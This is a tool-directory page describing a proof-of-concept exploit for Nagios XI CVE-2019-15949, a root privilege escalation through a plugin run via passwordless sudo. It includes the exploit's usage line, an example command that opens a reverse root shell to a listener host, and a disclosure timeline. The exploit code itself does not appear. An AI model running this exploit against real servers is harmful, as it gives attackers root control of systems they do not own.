Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Nagios-CVE-2019-15949-RCE — a PoC for the Nagios CVE-2019-15949 rce in python | Kitploit
Tools/GitHubGitHub/plur1bu5/nagios-cve-2019-15949-rce
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubplur1bu5/nagios-cve-2019-15949-rce

Nagios-CVE-2019-15949-RCE

a PoC for the Nagios CVE-2019-15949 rce in python

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Nagios-CVE-2019-15949-RCE-Poc

a python PoC for the CVE-2019-15949

Overview

A vulnerability exists in Nagios XI <= 5.6.5 allowing an attacker to leverage an RCE to escalate privileges to root. The exploit requires access to the server as the 'nagios' user, or CCM access via the web interface with perissions to manage plugins.

Details

The getprofile.sh script, invoked by downloading a system profile (profile.php?cmd=download), is executed as root via a passwordless sudo entry; the script executes the ‘check_plugin’ executuable which is owned by the nagios user. A user logged into Nagios XI with permissions to modify plugins, or the 'nagios' user on the server, can modify the ‘check_plugin’ executable and insert malicious commands exectuable as root.

POC

A PHP POC has been developed which uploads a payload resulting in a reverse root shell. Usage:

python3 exploit.py tagetIp [ssl=false/true] username password Lhost lport

example:

python3 exploit.py 10.10.11.9 false nagiosadmin admin 10.10.11.14 4444

Discolusure

Reported to Nagios on: 29th July 2019 Confirmed by Nagios on: 29th July 2019 Fixed in version: 5.6.6 on: 20th August 2019 CVE Assigned on: 6th September 2019 (CVE-2019-15949 https://nvd.nist.gov/vuln/detail/CVE-2019-15949)

Download Tool